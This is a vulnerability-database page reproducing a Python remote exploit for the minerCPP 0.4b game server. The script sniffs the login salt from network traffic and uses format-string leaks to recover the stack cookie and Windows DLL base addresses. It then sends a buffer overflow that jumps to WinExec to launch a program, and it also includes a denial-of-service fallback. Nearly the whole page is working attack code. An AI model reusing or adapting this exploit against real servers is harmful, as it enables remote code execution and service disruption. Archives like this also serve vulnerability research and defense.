Lucene search
K

minerCPP 0.4b Buffer Overflow / Format String

🗓️ 06 Jul 2010 00:00:00Reported by l3DType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

minerCPP 0.4b Buffer Overflow / Format String Attac

Code
`#!/usr/bin/env python  
#minerCPP 0.4b Remote BOF+Format String Attack Exploit  
#Software Link: http://sourceforge.net/projects/minercpp/  
#Author: l3D  
#Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il  
#IRC: irc://irc.nix.co.il  
#Email: [email protected]  
#Tested on Windows 7  
  
#In order to make this exploit work you should sniff the salt first.  
#It's sent by the software to www.minecraft.net  
#You can find it in the POST data (salt=12345 for instance).  
#I added a part that sniffs it automatically using pcapy.  
#Furthermore, in a real attack it can be simply brute  
#forced (it's only rand()). I didn't add this part in  
#order to prevent abusing.  
  
#The EAX can be influenced and the stack too.  
#However, there is a stack cookie that  
#prevents us to jump into our overwritten RET.  
#There are no SEH nor vtable overwritings.  
  
#So what can we do?...  
#I found a format string attack vulnerability  
#which lets us calculate the master cookie  
#and get the ESP of the current thread.  
#Unfortunately, the BOF is in another  
#thread, so the ESP we've got may not match  
#the ESP we need, what makes this exploit unstable.  
  
#Code execution worked to me 10 out of 50 times.  
  
from socket import *  
from time import sleep  
import pcapy, hashlib, re, struct, os, sys  
  
print 'minerCPP 0.4b Remote BOF+Format String Attack by l3D ([email protected])\n'  
  
if len(sys.argv) < 3:  
print 'Usage: python %s <host> <port> [salt]' % sys.argv[0]  
print 'If salt is not specified, the exploit sniffs it automatically.'  
  
if len(sys.argv) > 3:  
salt=sys.argv[3]  
else:  
dev=pcapy.lookupdev()  
cap=pcapy.open_live(dev, 1024, False, 0)  
cap.setfilter("dst 69.175.14.242 and dst port 80")  
data=cap.next()[1]  
while 1:  
salt=re.findall(r'salt=(\d+)', data)  
if salt:  
salt=salt[0]  
break  
data=cap.next()[1]  
  
host=sys.argv[1]  
port=int(sys.argv[2])  
  
exp=re.compile(r'0X([0-9A-F]+)')  
  
def md5_calc(input):  
o=hashlib.md5(input)  
output=o.hexdigest()  
del o  
return output  
  
def pack_login(nick, x):  
login='\x00\x07'  
if x:  
nick_hash=md5_calc(salt+nick)  
nick=nick.ljust(64)  
return login+nick+nick_hash  
else:  
return login+nick+'\x20'  
  
def pack_msg(nick, x):  
msg='\x0d\x7e'  
if x:  
content='/pinfo %s ' % nick  
content=content.ljust(64, 'A')  
else:  
content='/pinfo '+nick  
content=content.ljust(64)  
return msg+content  
  
def send_and_run(packet):  
sock=socket(AF_INET, SOCK_STREAM)  
sock.connect((host, port))  
sock.send(packet)  
sleep(1)  
sock.close()  
del sock  
  
sleep(2)  
  
##############################################################################################  
  
print '[1] Stage 1: Cookie and KERNELBASE.dll ImageBase Getting'  
nick='%s.%#X.%#X'  
trys=0  
packet=pack_msg(nick, True)  
  
try:  
sock=socket(AF_INET, SOCK_STREAM)  
sock.connect((host, port))  
sock.send(pack_login(nick, True))  
except:  
exit('[-] ERROR: Sockets error.')  
  
data=sock.recv(2048)  
while data:  
if data[0]=='\x00':  
print '[+] Logged in successfuly!'  
sock.send(packet)  
if data[0]=='\x0e':  
sock.close()  
exit('[-] ERROR: Wrong salt.')  
if data.startswith('\x0d\x00&e') and ' is a &7' in data:  
print '[+] Data has been recieved!'  
nums=[int(i, 16) for i in exp.findall(data[4:])]  
if nums:  
data=data[4:data.find('.0X')]  
if len(data)<8:  
if trys < 20:  
print '[!] Data is too short, trying again...'  
trys+=1  
sleep(1)  
sock.send(packet)  
else:  
print '[-] ERROR: Too much trys. DoSing...'  
sock.close()  
sleep(1)  
send_and_run(pack_login('A'*128, False))  
exit()  
else:  
esp=nums[1]-0xf0  
kernelbase, xored_esp=struct.unpack('2L', data)  
cookie=xored_esp^esp  
kernelbase-=0x1671  
print '[+] Stage 1 completed.'  
break  
else:  
sock.close()  
exit('[-] ERROR: addresses couldn\'t be found.')  
data=sock.recv(2048)  
  
sock.close()  
del sock  
print  
sleep(2)  
  
##############################################################################################  
  
print '[2] Stage 2: minerCPP.exe and kernel32.dll ImageBases Getting'  
nick='%#X.%#X.%s'  
packet=pack_msg(nick, False)  
  
try:  
sock=socket(AF_INET, SOCK_STREAM)  
sock.connect((host, port))  
sock.send(pack_login(nick, True))  
except:  
exit('[-] ERROR: Sockets error.')  
  
data=sock.recv(2048)  
while data:  
if data[0]=='\x00':  
print '[+] Logged in successfuly!'  
sock.send(packet)  
if data.startswith('\x0d\x00&e') and ' is a &7' in data:  
print '[+] Data has been recieved!'  
data=data[4:data.find(' is a &7')]  
data=exp.sub('', data, 2)[2:10]  
if len(data)==7:  
data+='\0'  
if len(data) < 8:  
sock.close()  
exit('[-] Data is too short, it can be because one of the adresses contains nullbyte...')  
else:  
kernel32, minerCPP=struct.unpack('2L', data)  
kernel32-=0x4ef88  
minerCPP-=0x5621  
print '[+] Stage 2 completed.'  
break  
data=sock.recv(2048)  
  
sock.close()  
del sock  
print  
  
##############################################################################################  
  
print '[~] Analyzed data:'  
print '[+] ESP: 0x%08x' % esp  
print '[+] Cookie: 0x%08x' % cookie  
print '[+] KERNELBASE.dll: 0x%08x' % kernelbase  
print '[+] kernel32.dll: 0x%08x' % kernel32  
print '[+] minerCPP.exe: 0x%08x' % minerCPP  
print  
sleep(2)  
  
##############################################################################################  
  
print '[3] Stage 3: Buffer Overflow'  
  
esp+=0x50  
winexec=struct.pack('L', kernel32+0x8e76d)  
exitprocess=struct.pack('L', kernel32+0x52aef)  
calc=struct.pack('L', esp+0x98)  
  
junk='A'*(64-len(salt))  
xored_esp=struct.pack('L', esp^cookie)  
ret=winexec #jump to WinExec @ kernel32.dll  
ret+='JUNK'  
ret+='\x10\x01\x01\x10' #readable address @ zlib1.dll  
ret+=exitprocess #jump to ExitProcess @ kernel32.dll  
ret+=calc #the place of the string in the stack  
ret+='\x01\xFF\xFF\xFF'  
ret+='JUNK'  
ret+='\xFF\xFF\xFF\xFF' #exit code -1  
ret+='calc' #a program to execute  
  
packet=pack_login(junk+xored_esp+ret, False)  
  
send_and_run(packet)  
print '[+] Packet has been sent. The server should be DoSed or a code should be executed.'  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation